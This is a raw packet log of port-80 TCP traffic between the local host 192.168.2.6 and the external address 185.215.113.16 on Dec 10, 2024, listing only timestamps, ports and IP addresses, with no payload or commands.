Dec 10, 2024 06:38:27.913337946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.913373947 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.913387060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.914273977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.914405107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.914412975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.915318966 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.915360928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.915390968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.916347027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.916394949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.916461945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.917347908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.917402029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.917447090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.917721987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.918375969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.918458939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.918490887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.919419050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.919454098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.919503927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.920435905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.920489073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.920546055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.921452999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.921505928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.921545982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.922494888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.922539949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.922585964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.923027992 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.923510075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.923549891 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.923609972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.924571037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.924613953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.924649000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.925616980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.925678015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.925703049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.926615953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.926675081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.926742077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.927658081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.927721024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.927831888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.928699017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.928734064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.928814888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.929318905 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.929706097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.929749966 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.929806948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.930740118 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.930814981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.930830002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.931790113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.931834936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.931952953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.932892084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.932934999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.932986975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.933845997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.933969021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.933983088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.934578896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.934873104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.934922934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.934982061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.935935020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.935987949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.936048031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.936284065 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.936920881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.936968088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.937041998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.937697887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.937983036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.938028097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.938038111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.938568115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.939057112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.939172029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.939224958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.940047979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.940133095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.940148115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.941067934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.941140890 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.941162109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.942162037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.942197084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.942207098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.943113089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.943165064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.943185091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.944161892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.944231033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.944279909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.945230007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.945276976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.945291042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.946209908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.946296930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.946317911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.947249889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.947303057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.947338104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.948302984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.948358059 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.948383093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.949300051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.949383974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.949417114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.950321913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.950385094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.950404882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.003170967 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.070873976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.070951939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.071021080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.071326971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.071547031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.071592093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.071604967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.072567940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.072669029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.072690964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.073554039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.073602915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.092441082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.092511892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.092561007 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.092798948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.092979908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.093038082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.093724012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.093832016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.093916893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.094804049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.094866037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.094912052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.095727921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.095801115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.095999002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.096535921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.096647024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.096694946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.097554922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.097646952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.097731113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.098594904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.098754883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.098954916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.099620104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.099720001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.099764109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.100632906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.100815058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.100864887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.101716995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.101802111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.101846933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.102694988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.102890015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.103003979 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.103760004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.103874922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.103949070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.104836941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.104928017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.104974031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.105808020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.105890989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.105972052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.106879950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.106976986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.107045889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.107876062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.107948065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.108107090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.108900070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.109024048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.109066963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.109915018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.109987974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.110025883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.111026049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.111192942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.111247063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.112003088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.112148046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.112190008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.113043070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.113133907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.113291025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.114048004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.114072084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.114115953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.115138054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.115187883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.115231991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.116328955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.116378069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.116430044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.117178917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.117290974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.117333889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.118170977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.118300915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.118371964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.119210005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.119365931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.119426012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.120284081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.120352030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.120572090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.121273994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.121484041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.121546984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.122308016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.122358084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.122575998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.123346090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.123440981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.123718977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.124346018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.124445915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.124634027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.125376940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.125499964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.125555992 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.126430035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.126526117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.126708031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.127453089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.127604008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.127640009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.128490925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.128751993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.128937006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.129509926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.129620075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.129673004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.130536079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.130675077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.130721092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.131582975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.131690979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.131742954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.132608891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.132705927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.132920980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.133621931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.133749008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.133793116 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.134665012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.134763956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.135020971 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.135706902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.135855913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.136697054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.136744976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.136820078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.136861086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.137733936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.137852907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.138773918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.138832092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.138906002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.138952017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.139841080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.139933109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.139978886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.140842915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.140960932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.141005039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.141892910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.141999006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.142057896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.142898083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.190676928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.263201952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.263288021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.263341904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.263690948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.263760090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.263797998 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.264724016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.264818907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.264859915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.265744925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.284676075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.284739017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.285130024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.285166979 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.285187006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.285290956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.286179066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.286283970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.286297083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.287169933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.287225962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.287513018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.287616014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.287661076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.288608074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.288708925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.288750887 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.289570093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.289688110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.289736986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.290618896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.290718079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.291001081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.291639090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.291743040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.292239904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.292676926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.292870998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.292965889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.293713093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.293808937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.293844938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.294742107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.294825077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.294858932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.295753002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.295886993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.295926094 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.296844959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.296864986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.296906948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.297823906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.297946930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.298847914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.298892975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:28.298948050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:28.298988104 CET	49747	80	192.168.2.6	185.215.113.16
